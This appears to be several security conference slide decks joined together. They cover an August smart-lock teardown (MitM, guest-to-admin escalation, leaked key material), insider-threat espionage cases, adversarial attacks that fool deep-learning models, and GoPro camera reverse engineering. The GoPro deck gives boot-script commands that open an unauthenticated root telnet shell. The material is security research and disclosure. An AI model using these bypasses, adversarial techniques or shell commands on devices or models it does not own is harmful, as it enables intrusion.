WiFi | HTTPS
BLE
MitM proxy
Certificate pinning
…crap...
Solution:
iOS Kill Switch 2
(https://github.com/nabla-c0d3/ssl-kill-switch2)
Disabling SSL/TLS
system wide at Defcon?
Better solution
No Jailbreak
Certificate Pinned!!!
Security claims
●
Perfectly secure
●
Guest access can be revoked at any time
●
Guest permission can be limited to a schedule
●
Guest can not
○
Use auto unlock
○
Invite or remove guests or owners
○
View activity feed
○
View Guest List
○
Change lock settings
●
Keys can not be duplicated or distributed
●
Track who enters and exits your home
After mapping out api
Postman collection created (see github repo)
Not anonymized
Creepy
Let's fix this
MiTM can modify traffic
Fix
Don't forward log data to August, and tell app logs were received
What else can we do?
Guest to admin?
Guests can not use Auto-Unlock
Guests can not control lock settings
Replace "user"
with "superuser"
Guests can change lock settings!
Security claims
●
Perfectly secure
●
Guest access can be revoked at any time
●
Guest permission can be limited to a schedule
●
Guest can not
○
Use auto unlock
○
Invite or remove guests or owners
○
View activity feed
○
View Guest List
○
Change lock settings
●
Keys can not be duplicated or distributed
●
Track who enters and exits your home
Mapping out the
BLE API
WiFi | HTTPS
BLE
Enumerate BLE services
Intercepting BLE
Solution: Ubertooth
Better solution
Tap
Replace
Plaintext BLE traffic in log
files!
No Jailbreak
How August's
authentication works
Requesting firmware as a
guest
This is weird
"Safer than … codes that can
be copied."
"Unlike physical keys which can
be duplicated and distributed
without your knowledge, an
August lock..."
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
70F4F853E330BAEC27BF2724F39D1471
Key material in logs
Security claims
●
Perfectly secure
●
Guest access can be revoked at any time
●
Guest permission can be limited to a schedule
●
Guest can not
○
Use auto unlock
○
Invite or remove guests or owners
○
View activity feed
○
View Guest List
○
Change lock settings
●
Keys can not be duplicated or distributed
●
Track who enters and exits your home
Don't give guest access to
someone you would not
give a key to.
Code on
github
github.com/jmaxxz/keymaker
Demo
Mistakes made
●
Mobile app logs include sensitive information
●
Lock does not differentiate between guest and owner
●
Firmware not signed
●
No apparent way for average users to discover backdoor keys
●
Guest users can download key material
●
System relies on guests self reporting unlock/lock events
●
Vendor claims two factor auth when really two step auth
●
No rate limiting of password reset attempts (fixed)
●
Mobile app includes bypass for certificate pinning
●
Secure random not used for nonce or session key generation (fixed)
●
Key material not stored on iOS keychain
What was done correctly
●
August has been very responsive
●
Mobile apps attempt to use certificate pinning
●
Protocol makes use of nonces CBC
●
Not reliant solely on BLE's just works security model
Hackers needed
Consumers are not able to evaluate security claims made by companies
●
We need more researchers investigating security claims made by companies
on behalf of consumers.
●
What can be asserted without proof can be dismissed without proof. | pdf |
From
Raxacoricofallapatorius
With Love
Case Studies in Insider Threat
AGENDA
•
Introduction & Curriculum Vitae
•
History & Current Events
•
Definitions
•
Case Studies
•
Current Research
•
Sources
FAMOUS
(Infamous?)
INSIDER
THREATS
Cost to pay Insider Dr. Ten Hong Lee
to turn over highly sensitive and
valuable proprietary manufacturing
information and research data:
$150-160k
Ability to leap frog years of experimentation
and bring a product similar to Avery’s to market
immediately: PRICELESS!
I give it out to six people, and if I can’t trust them
to that degree, then I have no desire to make it.
Industrial Espionage VS Economic Espionage
INDUSTRIAL ESPIONAGE
The theft of trade secrets by the removal, copying or recording of
confidential or valuable information in a company for use
by a competitor.
ECONOMIC ESPIONAGE
The targeting or acquisition of trade secrets to knowingly
benefit any foreign government, foreign instrumentality,
or foreign agent.
(Title18 U.S.C., Section 1831)
SPY
A pre-existing trust or relationship is not required (but can exist).
TRAITOR
An established confidence that is betrayed.
INSIDER THREAT
Can be willful or a result of ignorance/neglect. Is not always malicious in nature.
“Formal” Definition
MALICIOUS Insider
1. Current or former employee, contractor, or business partner
2. Has or had authorized access
3. Intentionally exceeded or misused that access
4. Negatively affected the organization
Espionage
recruitment involving
sexual seduction.
hon·ey·pot
(ˈhəәnēˌpät)
SHARON
MARIE
SCRANAGE
Female CIA Employee compromised by male “honey pot”
When?
1980s (1983 -1985)
Where?
Accra, Ghana
•
Romance that evolved into threats of violence
•
Information was stolen from files and cables
•
Copied short hand and translated into long hand
RED FLAGS
•
Lover was cousin of Ghana President
•
Lied about ending the relationship with him
Why was this case was important?
•
Intelligence Identities Protection Act
•
Polygraph use helped break case
GHANA
1981
Coup. Power seized by
Flight Lieutenant
Jerry John Rawlings
of the Provisional National
Defense Council. He suspended
the constitution and banned
political parties.
13th Century
Several states
created based on
gold trading
1867
English
established
control and
created the
British Gold
Coast
1957
Coastal Gold Coast
Region declares
independence from
the UK and
establishes the
nation of Ghana.
1966 – 1981
Series of alternating
military and civilian
governments
Honour Student
Leader of High School Cheerleading Squad
“Her hobby was going to church. That’s all she ever did.
She had to be coerced.”
- Sharon’s brother, Perry Scranage
“…very religious type. Sang in the Baptist choir and could serve
as a role model for any young girl.”
-Former High School Boyfriend, Richard Fortune
“….highly religious, never been in trouble…”
-Friends and Family
“Shy naïve country girl who had never been overseas.”
-CIA Documents
“Mousey young divorceé…
…recovering from an unhappy
marriage…
…physically abused by ex-husband…
…isolated socially in the male
dominated, largely white CIA station…
…Soussoudis could have been
cultivating Scranage for further access
at her next post in Calcutta…”
I Am Not
A Crook!
WEN
HO
LEE
1939
Born in Nantou City, Taiwan
Graduated Keelung High School
1963
Bachelors of Science in Mechanical
Engineering from National Cheng Kung
University in Tainan
1965
Came to the United States to study
at Texas A&M
1969
Doctorate in Mechanical Engineering with
Specialization in Fluid Mechanics
1974
Became a United States Citizen
1978-
Scientist in Weapons Design at Los Alamos
1999
National Laboratory in Applied Mathematics
and Fluid Dynamics
Indicted for stealing secrets on the US Nuclear Arsenal
Insists he was not a spy. Accuses the government of abuse of power
When?
1978 – 1999
Where?
Los Alamos National Lab
•
Downloaded restricted data
•
Backed up work files
•
Got access to system via a colleague after his
access was denied
RED FLAGS
•
Lying about wiretap conversation
•
Did not report attempt by foreign national to solicit classified by Dr. Side at hotel
meeting
•
Went through a work colleague to get access to data AFTER he had been
denied and stripped of clearance
•
Transferring that data to a third unclassified system
Why this case was important?
Was he an insider threat?
US’s
First
Economic
Espionage
Trial
DONGFAN
“Greg”
CHUNG
Stealing sensitive information on the U.S. space program with the
intent of passing it to China
When?
1973 – 2006
Where?
California and Kansas
•
Stored 300,000 pages of sensitive papers in his Southern California home.
•
Prosecutors alleged the papers included information about the U.S. space shuttle,
a booster rocket and military troop transports.
•
Placed documents inside newspapers to take home at night.
RED FLAGS
•
Discovered while investigating Chi Mak
•
Lied about “exchange scholar” Mr. Gu
•
Trips to China
Why was this case was important?
•
US’s first economic espionage trial
•
1996 Economic Espionage Act
Rose Palmisano, THE ORANGE COUNTY REGISTER
Over 300,000 Sensitive
Documents Seized From His
Southern California Home
to Include:
•
24 Manuals on the B-1 Bomber
•
Design Stress Analysis Manual on
the Orbitor Vehicle 102
•
Fighter Jet Structural Design
Manuals
•
F-15 Manufacturing Process
Standards
SPACE SHUTTLE DOCUMENTS
•
Detailed Structure Diagrams
•
Export Controlled Parts List
•
Tutorial Marked With Export Restrictions
•
700 Documents related to the Shuttle Drawing System (SDS)
•
Document on the Space Shuttle Hatch
•
Space Shuttle Program Thermodynamic Design Data Book on the Thermal Control System
THE SPY
WHO
COULDN’T
SPELL
BRIAN
PATRICK
REGAN
Convicted of offering to sell secret information to foreign governments
When?
1995 – 2000
Where?
Chantilly, Virginia
•
Was in deep debt ($117,000) and needed money
•
Downloaded data & stoles pages, CDROMs and video from
NRO.
•
Arrested at Dulles Airport with encrypted notes
•
Buried classified material in the woods
•
Used GPS; roofing nails hammered into trees; and complexly
encrypted notes on the locations of the buried documents to
find them again
RED FLAGS
•
Financial Issues
•
$117,000 in debt
•
Needed to send four kids to college
Why this case was important?
Prosecutors sought the death penalty for the first time since the Rosenbergs in 1953.
Brian Regan used a complex encryption scheme (left) to describe the
locations of documents buried in a state park near Washington, DC (right).
Photo: Henrik Knudsen
Along with classified documents and contact information, he was
carrying
Folder containing 4 pages filled with three digit numbers (trinomes) 952, 832, 041…
Found in right shoe:
Contact information for the Iraqui, Libyan, and Chinese embassies in Switzerland
Found in right trouser pocket:
Spiral pad containing 13 seemingly unconnected words like
tricycle, rocket, and glove
26 Words on an index card
Found in his wallet:
Piece of paper with a string of several dozen letters and numbers
beginning 5-6-N-V-O-A-I…
Along with classified documents and contact information, he was
carrying
Folder containing 4 pages filled with three digit numbers (trinomes) 952, 832, 041…
= encrypted latitude & longitude for the Virginia sites he buried his caches
(based on an NRO phone list…used his junior high school year book for the
Maryland sites)
Found in right trouser pocket:
Spiral pad containing 13 seemingly unconnected words like
tricycle, rocket, and glove = Chinese missile sites
26 Words on an index card = Iraqui surface to air missile sites
Found in his wallet:
Piece of paper with a string of several dozen letters and numbers
beginning 5-6-N-V-O-A-I…
= a Caesar cipher revealing the addresses of
several Swiss bank accounts
hand, tree, hand, car
Found on a Post It note in his wallet:
hand, tree, hand, car
hand, tree, hand, car
5 1 5 4
3
5
1
Latitude Of Chinese Missile Sites
tricycle, rocket, glove
Current Research
1. Personal Predispositions in Individuals Vulnerable to Insider Risk Present Prior
to Joining the Organization
2. Personal Stressors Noted in Subjects At-Risk for Insider Acts
3. Professional Stressors Noted in Subjects At-Risk for Insider Acts
4. Concerning Behaviors or Violations of Policy,
Practices or Law Observed in Subjects At-Risk for
Insider Acts
5. Maladaptive Organizational Responses to Subject
Concerning Behaviors
OVERVIEW of 5 CRITICAL PATHWAY COMPONENTS
Symantec White Paper
Behavioral Risk Indicators of Malicious Insider Theft of Intellectual Property:
Misreading the Writing on the Wall
Eric D. Shaw, Ph.D. and Harley V. Stock, Ph.D., ABPP, Diplomate, American Board of
Forensic Psychology
5 Critical Pathways
IP
Theft
Concerning
Behaviors
Stressors
Personal
Predispositions
Identifying Personality Disorders that are
Security Risks: Field Test Results
Olga G. Shechter
Northrop Grumman Technical Services
Eric L. Lang
Defense Personnel Security Research Center
Antisocial Personality
Disorder/Psychopathy
Narcissistic
Personality Disorder
Insider Threat Control: Using Plagiarism Detection
Algorithms to Prevent Data Exfiltration in Near Real
Time
Todd Lewellen
George J. Silowash
Daniel Costa
13 OCT 2013
Stochastic Forensics
• Jonathan Grier
• Black Hat USA 2012
• Insider data theft does not
create artifacts
• Can reconstruct activity
• Criticism: Only provides evidence and
indications of data theft, and not
concrete proof.
"When you copy, you break
that pattern. Because when
you copy, you don't cherry-
pick, you just get in and get
out. And that has a uniform
pattern, which is going to
look unusual."
COMMUNICATION
&
AWARENESS
MITIGATION
ORGANIZATIONAL FACTORS
• Availability and Ease
• Access privileges
• Markings
• Egress Ease
• Undefined policies regarding working
from home
• Minimal or Non-existent Consequences
for Theft
• Time pressure
• Lack of Training
WHAT WE CAN DO…
• Provide non-threatening and convenient ways for employees to
report suspicions
• Monitor computer networks for suspicious activity
• Ensure security personnel have the tools they need
• Education
• Protect Intellectual Property
• Screen New Employees
• Have a Solid Exit Process
WHAT DO I DO IF I SUSPECT SOMEONE OF
BEING AN INSIDER THREAT?
Legal Department
Supervisor
Security Officer
Trusted Mentor
SOURCES
United States of America versus Brian Patrick Regan – Criminal No. 01-045A
United States of America versus Wen Ho Lee – Criminal No. 99-1417
United States of America versus Dongfan “Greg” Chung - Case No.: SACR 08-
00024-CJC
Bhattacharjee, Y. (2010, January 25). Tale of a Would-Be Spy, Buried Treasure, and
Uncrackable Code | Magazine | WIRED. Wired.com. Retrieved from
http://www.wired.com/2010/01/ff_hideandseek/
Harnden, T. (2007, June 7). The spies who loved. . . and lost their jobs. The
Telegraph. Retrieved from http://www.telegraph.co.uk/news/features/3632872/The-
spies-who-loved.-.-.-and-lost-their-jobs.html
OSTROW, R., & CIMONS, M. (1985, July 12). CIA Employee, Ghanaian Held on
Spy Charges. Los Angeles Times. Retrieved from http://articles.latimes.com/1985-
07-12/news/mn-8825_1_cia-employee
Silverman, B. (2010, February 8). Dongfan "Greg" Chung, Chinese Spy, Gets More
Than 15 Years In Prison. The Huffington Post. Retrieved July 14, 2014, from
http://www.huffingtonpost.com/2010/02/08/dongfan-greg-chung-
chines_n_454107.html
Spotlight On: Insider Theft of Intellectual Property Inside the United States Involving Foreign Governments or Organizations
By: Matthew L. Collins; Derrick Spooner, Dawn M. Cappelli; Andrew P. Moore, & Randall F. Trzeciak
May 2013 / TECHNICAL NOTE / CMU / SEI-2013-TN-009
Behavioral Risk Indicators of Malicious Insider Theft of Intellectual Property: Misreading the Writing on the Wall
By: Eric D. Shaw, Ph.D. & Harley V. Stock, Ph.D., ABPP, Diplomate, American Board of Forensic Psychology
2011 / Symantec White Paper
Identifying Personality Disorders that are Security Risks: Field Test Results
By: Olga G. Shechter & Eric L. Lang
September 2011 / Defense Personnel Security Research Center
Insider Threat Control: Using Plagiarism Detection Algorithms to Prevent Data Exfiltration in Near Real Time
By: Todd Lewellen, George J. Silowash, & Daniel Costa
October 2013 / TECHNICAL NOTE / CMU / SEI-2013-TN-008
Catching Insider Data Theft with Stochastic Forensics
By: Jonathan Grier
2012 Black Hat USA Presentation
Detecting and Preventing Data Exfiltration Through Encrypted Web Sessions via Traffic Inspection
By: George J. Silowash, Todd Lewellen, Joshua W. Burns, & Daniel L. Costa
March 2013 / TECHNICAL NOTE / CMU / SEI-2013-TN-012
Justification of a Pattern for Detecting Intellectual Property Theft by Departing Insiders
By: Andrew P. Moore , David McIntire, David Mundie, & David Zubrow
March 2013 / TECHNICAL NOTE / CMU / SEI-2013-TN-013
Insider Threat Study: Illicit Cyber Activity in the Banking and Finance Sector
By: Marisa Reddy Randazzo, Dawn Cappelli, Michelle Keeney, Andrew Moore & Eileen Kowalski
2004 / CERT® Coordination Center / National Threat Assessment Center / Software Engineering Institute / United States Secret Service
Insider Threat Study: Computer System Sabotage in Critical Infrastructure Sectors
By: Michelle Keeney, Dawn Cappelli, Eileen Kowalski, Andrew Moore, Timothy Shimeall, & Stephanie Rogers
2005 / National Threat Assessment Center / United States Secret Service / Software Engineering Institute
www.sei.cmu.edu
For four decades, the Software Engineering Institute (SEI) has been helping government and
industry organizations to acquire, develop, operate, and sustain software systems that are
innovative, affordable, enduring, and trustworthy.
National Threat Assessment Center
www.secretservice.gov/ntac_its.shtml
The mission of NTAC is to provide guidance on threat assessment, both within the Secret
Service and to its law enforcement and public safety partners in the following areas:
• Research on threat assessment and various types of targeted violence.
• Training on threat assessment and targeted violence to law enforcement officials and others
with protective and public safety responsibilities.
• Information-sharing among agencies with protective and/or public safety responsibilities.
• Programs to promote the standardization of federal, state, and local threat assessment and
investigations involving threats. | pdf |
本书由Meji制作,于广州,2002年11月.
注意,本书的一切所有权及版权归译者,著者及中国电力出版社所有,一切由本电子版引发之民事刑事纠纷与本人
无关.本电子书的制作纯粹处于传播知识之目的,禁止将本电子书用作盈利之目的,若有恣意妄为者后果自负.
PDF 文件以 "FinePrint pdfFactory Pro" 试用版创建 http://www.pdffactory.com | pdf |
Machine Duping
Pwning Deep Learning Systems
CLARENCE CHIO
MLHACKER
@cchio
adapted from
Dave Conway
HACKING
SKILLS
MATH & STATS
SECURITY
RESEARCHER
HAX0R
DATA
SCIENTIST
DOING IT
ImageNet
Google Inc.
Google DeepMind
UMass, Facial Recognition
Nvidia DRIVE
Nvidia
Invincea Malware Detection System
Deep Learning
why would someone choose to use it?
(Semi)Automated
feature/representation
learning
One infrastructure for
multiple problems (sort of)
Hierarchical learning:
Divide task across
multiple layers
Efficient,
easily distributed &
parallelized
Definitely not one-size-fits-all
softmax function
[0.34, 0.57, 0.09]
predicted class: 1
correct class: 0
np.argmax
logits
prediction
풇
hidden
layer
input
layer
output
layer
푊
activation
function
bias units
4-5-3 Neural Net Architecture
[17.0, 28.5, 4.50]
풇
풇
풇
풇
풇
풇
풇
풇
풇
풇
풇
softmax function
[0.34, 0.57, 0.09]
predicted class: 1
correct class: 0
np.argmax
logits
prediction
풇
hidden
layer
input
layer
output
layer
푊
activation
function
bias units
4-5-3 Neural Net Architecture
[17.0, 28.5, 4.50]
풇
풇
Training Deep Neural Networks
Step 1 of 2: Feed Forward
1. Each unit receives output of the neurons in the previous layer (+ bias
signal)
2. Computes weighted average of inputs
3. Apply weighted average through nonlinear activation function
4. For DNN classifier, send final layer output through softmax function
softmax
function
[0.34, 0.57, 0.09]
logits
prediction
풇
푊1
activation
function
[17.0, 28.5, 4.50]
풇
풇
activation
function
activation
function
input
푊2
b1
b2
bias
unit
bias
unit
Training Deep Neural Networks
Step 2 of 2: Backpropagation
1. If the model made a wrong prediction, calculate the error
1.
In this case, the correct class is 0, but the model predicted 1 with 57% confidence - error is thus 0.57
2. Assign blame: trace backwards to find the units that contributed to this wrong
prediction (and how much they contributed to the total error)
1.
Partial differentiation of this error w.r.t. the unit’s activation value
3. Penalize those units by decreasing their weights and biases by an amount proportional
to their error contribution
4. Do the above efficiently with optimization algorithm e.g. Stochastic Gradient Descent
0.57
total error
풇
푊1
activation
function
28.5
풇
풇
activation
function
activation
function
푊2
b1
b2
bias
unit
bias
unit
DEMO
Beyond Multi Layer Perceptrons
Source: iOS Developer Library
vImage Programming Guide
Convolutional Neural Network
Layered Learning
Lee, 2009, “Convolutional deep belief networks for scalable
unsupervised learning of hierarchical representations."
Beyond Multi Layer Perceptrons
Source: LeNet 5, LeCun et al.
Convolutional Neural Network
Beyond Multi Layer Perceptrons
Recurrent Neural Network
neural
network
input
output
loop(s)
•
Just a DNN with a feedback loop
•
Previous time step feeds all
intermediate and final values into
next time step
•
Introduces the concept of “memory”
to neural networks
Beyond Multi Layer Perceptrons
Recurrent Neural Network
input
output
time steps
network
depth
Y
O
L
O
!
Beyond Multi Layer Perceptrons
Disney, Finding Dory
Long Short-Term Memory (LSTM) RNN
•
To make good predictions, we sometimes
need more context
•
We need long-term memory capabilities
without extending the network’s recursion
indefinitely (unscalable)
Colah’s Blog, “Understanding LSTM Networks"
Deng et al. “Deep Learning: Methods and Applications”
HOW TO PWN?
Attack Taxonomy
Exploratory
Causative
(Manipulative test samples)
Applicable also to online-learning
models that continuously learn
from real-time test data
(Manipulative training samples)
Targeted
Indiscriminate
Training samples that move
classifier decision boundary in an
intentional direction
Training samples that increase FP/FN
→ renders classifier unusable
Adversarial input crafted to cause
an intentional misclassification
n/a
Why can we do this?
vs.
Statistical learning models don’t learn concepts the same way that we do.
BLINDSPOTS:
Adversarial Deep Learning
Intuitions
1. Run input x through the classifier model (or substitute/approximate model)
2. Based on model prediction, derive a perturbation tensor that
maximizes chances of misclassification:
1.
Traverse the manifold to find blind spots in input space; or
2.
Linear perturbation in direction of neural network’s cost function gradient; or
3.
Select only input dimensions with high saliency* to perturb by the model’s Jacobian matrix
3. Scale the perturbation tensor by some magnitude, resulting in the
effective perturbation (δx) to x
1.
Larger perturbation == higher probability for misclassification
2.
Smaller perturbation == less likely for human detection
* saliency: amount of influence a selected dimension has on the entire model’s output
Adversarial Deep Learning
Intuitions
Szegedy, 2013: Traverse the manifold to find blind spots in the input space
•
Adversarial samples == pockets in the manifold
•
Difficult to efficiently find by brute force (high dimensional input)
•
Optimize this search, take gradient of input w.r.t. target output class
Adversarial Deep Learning
Intuitions
Goodfellow, 2015: Linear adversarial perturbation
•
Developed a linear view of adversarial examples
•
Can just take the cost function gradient w.r.t. the sample (x) and original
predicted class (y)
•
Easily found by backpropagation
Adversarial Deep Learning
Intuitions
Papernot, 2015: Saliency map + Jacobian matrix perturbation
•
More complex derivations for why the Jacobian of the learned neural network
function is used
•
Obtained with respect to input features rather than network parameters
•
Forward propagation is used instead of backpropagation
•
To reduce probability of human detection, only perturb the dimensions that
have the greatest impact on the output (salient dimensions)
Papernot et al., 2015
Threat Model:
Adversarial Knowledge
Model hyperparameters,
variables, training tools
Architecture
Training data
Black box
Increasing
attacker
knowledge
Deep Neural Network Attacks
Adversary
knowledge
Attack
complexity
DIFFICULT
EASY
Architecture,
Training Tools,
Hyperparameters
Architecture
Training data
Oracle
Labeled Test
samples
Confidence
Reduction
Untargeted
Misclassification
Targeted
Misclassification
Source/Target
Misclassification
Murphy, 2012
Szegedy, 2014
Papernot, 2016
Goodfellow, 2016
Xu, 2016
Nguyen, 2014
What can you do with limited knowledge?
•
Quite a lot.
•
Make good guesses: Infer the methodology from the task
•
Image classification: ConvNet
•
Speech recognition: LSTM-RNN
•
Amazon ML, ML-as-a-service etc.: Shallow feed-forward network
•
What if you can’t guess?
STILL CAN PWN?
Black box attack methodology
1. Transferability
Adversarial samples that fool model A have a
good chance of fooling a previously unseen
model B
SVM, scikit-learn
Decision Tree
Matt's Webcorner, Stanford
Linear Classifier
(Logistic Regression)
Spectral Clustering, scikit-learn
Feed Forward Neural Network
Black box attack methodology
1. Transferability
Papernot et al. “Transferability in Machine Learning:
from Phenomena to Black-Box Attacks using Adversarial Samples”
Black box attack methodology
2. Substitute model
train a new model by treating the target model’s
output as a training labels
then, generate adversarial samples with
substitute model
input data
target
black box
model
training label
backpropagate
black box prediction
substitute
model
Why is this possible?
•
Transferability?
•
Still an open research problem
•
Manifold learning problem
•
Blind spots
•
Model vs. Reality dimensionality mismatch
•
IN GENERAL:
•
Is the model not learning anything
at all?
What this means for us
•
Deep learning algorithms (Machine Learning in general) are susceptible to
manipulative attacks
•
Use with caution in critical deployments
•
Don’t make false assumptions about what/how the model learns
•
Evaluate a model’s adversarial resilience - not just accuracy/precision/recall
•
Spend effort to make models more robust to tampering
Defending the machines
•
Distillation
•
Train model 2x, feed first DNN output logits into second DNN input layer
•
Train model with adversarial samples
•
i.e. ironing out imperfect knowledge learnt in the model
•
Other miscellaneous tweaks
•
Special regularization/loss-function methods (simulating adversarial content during training)
DEEP-PWNING
“metasploit for machine learning”
WHY DEEP-PWNING?
•
lol why not
•
“Penetration testing” of statistical/machine learning systems
•
Train models with adversarial samples for increased robustness
PLEASE PLAY WITH IT &
CONTRIBUTE!
Deep Learning and Privacy
•
Deep learning also sees challenges in other areas relating to security &
privacy
•
Adversary can reconstruct training samples from a trained black box
DNN model (Fredrikson, 2015)
•
Can we precisely control the learning objective of a DNN model?
•
Can we train a DNN model without the training agent having complete
access to all training data? (Shokri, 2015)
WHY IS THIS IMPORTANT?
WHY DEEP-PWNING?
•
MORE CRITICAL SYSTEMS RELY ON MACHINE LEARNING → MORE IMPORTANCE
ON ENSURING THEIR ROBUSTNESS
•
WE NEED PEOPLE WITH BOTH SECURITY AND STATISTICAL SKILL SETS TO
DEVELOP ROBUST SYSTEMS AND EVALUATE NEW INFRASTRUCTURE
LEARN IT OR BECOME IRRELEVANT
@cchio
MLHACKER | pdf |
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
GoPro or GTFO
A Tale of Reversing an Embedded System
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
Agenda
Intro
GoPro Overview
Previous Research
Methodology/Findings
Future Research/Next Steps
Conclusion
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
INTRO
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
About Us
•
Todd Manning a.k.a. “El Isleño”
•
Sr. Research Consultant, Accuvant LABS’ Applied Research
Consulting
•
Previously Mgr. of Security Research at BreakingPoint Systems
•
Zach Lanier a.k.a. “quine”
•
Sr. Research Consultant, Accuvant LABS’ Applied Research
Consulting
•
(Net | App | Web | Mobile) pen tester type
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
Why the GoPro?
•
Highly popular, consumer “rugged” camera
•
WiFi-enabled
•
Possible applicability to other Amberella-based
devices
•
Including commercial IP-enabled CCTV installations
•
We focused mainly on GoPro Hero3 Black Edition
•
So most details apply, but may be some HW differences
•
Plus: IT’S EXTREEEEEEEEEEEEEEME!
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
GOPRO OVERVIEW
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
• Ambarella A770 camera SoC
•
ARMv6 1136J-S core (@528MHz)
• Sitronix ST7585 LCD
• Atheros AR6233GEAM2D 802.11n + BT
controller
• and more...
GoPro Overview
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
•
H3B runs two operating systems:
•
ITRON
•
Embedded RTOS
•
Manages most of the camera bits
•
Runs the “GoPro” Webserver on 80/tcp
•
“Internal” interface to Linux (10.9.9.9)
•
Linux 2.6.38
•
Actually runs as a task within ITRON
•
Resides on private/internal network (10.9.9.1)
•
Runs Cherokee webserver on 80/tcp, but port fwd’ed from
8080/tcp externally
GoPro Overview
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
PREVIOUS RESEARCH
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
Evil Wombat!
•
O.G. contributor to GoPro forum
•
ARM firmware developer (???)
•
Discovered (and shared) autoexec.ash
•
Script that runs on boot, can enable such fun things as
serial console, telnetd, etc.
•
Wrote firmware parsers, camera “unbrick” tool, and
techniques for direct booting Linux kernel
•
If you’re in the audience, plz to be letting us buy
you a drink
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
ambsh
•
Amberella shell - limited shell accessible over serial/USB
•
Discovery courtesy of Evil Wombat
•
Drop the following into autoexec.ash on SD card, reboot camera:
sleep 4
t app test usb_rs232 1
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
Side note: what not to do
You have a successful failure, and now your camera is bricked.
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
•
ITRON uses IPC message queue for bi-directional, inter-OS
messaging (more on this later)
•
lu_util is iTRON-to-Linux utility
•
Execute commands within Linux, such as enabling telnetd
•
Once again, discovery courtesy of Evil Wombat
•
Drop the following into autoexec.ash on SD card:
lu_util
sleep 30
lu_util exec 'pkill cherokee'
lu_util exec '/usr/sbin/telnetd -l /bin/
sh -p 80’
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
Root shell ;)
With telnetd enabled, root shell!
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
METHODOLOGY AND FINDINGS
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
Analysis - “GoPro App” Mode
•
Camera acts as access point
•
Mobile app connects to two
webservers on camera:
•
“GoPro” Web Server for
control / settings
•
Cherokee for “real time” video
preview (MPEG-TS)
•
App retrieves playlist from
Cherokee with eight (8) 0.3
second clips for “streaming”
preview
•
WiFi Bacpac uses 10.5.5.9
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
• Remote acts as access point, camera acts as
mobile station/client
•
Remote/AP does not use any security - totally open
• Camera scans for HERO-RC-XXXXXX (where
XX... are the last three octets of the BSSID/
MAC of the remote)
•
Prefers known BSSID, but can be configured to
“pair” with new remote
Analysis - “WiFi Remote” Mode
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
Network Attack Surface
• Cherokee webserver
(Linux)
•
Runs as root, despite
listening on unpriv’ed
port
•
No addt’l mitigations
enabled (aside from
NX & ASLR)
•
Exec base is not
randomized
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
• GoPro webserver (ITRON), in Mobile App mode
• Control of bacpac and camera
•
http://10.5.5.9/bacpac/...
•
http://10.5.5.9/camera/...
• Passes WPA2 passphrase as auth token
•
e.g. http://10.5.5.9/camera/cv?t=MYWPA2KEY
Network Attack Surface
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
Local Attack Surface - Linux
•
No priv separation - everything runs as root
•
ASLR enabled system wide
•
Decent slew of useful commands
•
Busybox
•
GoPro-specific tools
•
Numerous “interesting” commands/daemons
•
amba_mq_handler
•
ombra
•
network_message_daemon
•
Amongst other things, parses JSON messages passed on
7878/tcp (not remotely accessible)
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
IPC - Linux side
Message queue
Points to queue used by amba_mq_handler
which handles IPC from Linux <-> ITRON
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
IPC - ITRON side
Numerous registered IPC programs (viewable in ambsh with ipcprog command)
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
FUTURE RESEARCH & NEXT
STEPS
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
•
Remote monitoring
•
Legitimate, bespoke 3rd party clients
•
Using the camera to spy
•
Following up on accessibility of MPEG-TS streaming
•
Dumping firmware from WiFi Remote
•
GoPro 30-pin bus interface
•
Remarkably similar to Apple i-device connector
•
Used for interfacing with product add-on devices
•
Backdoors, persistence, blah blah blah
Future Research
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
https://github.com/quine/GoProGTFO
Watch this space!
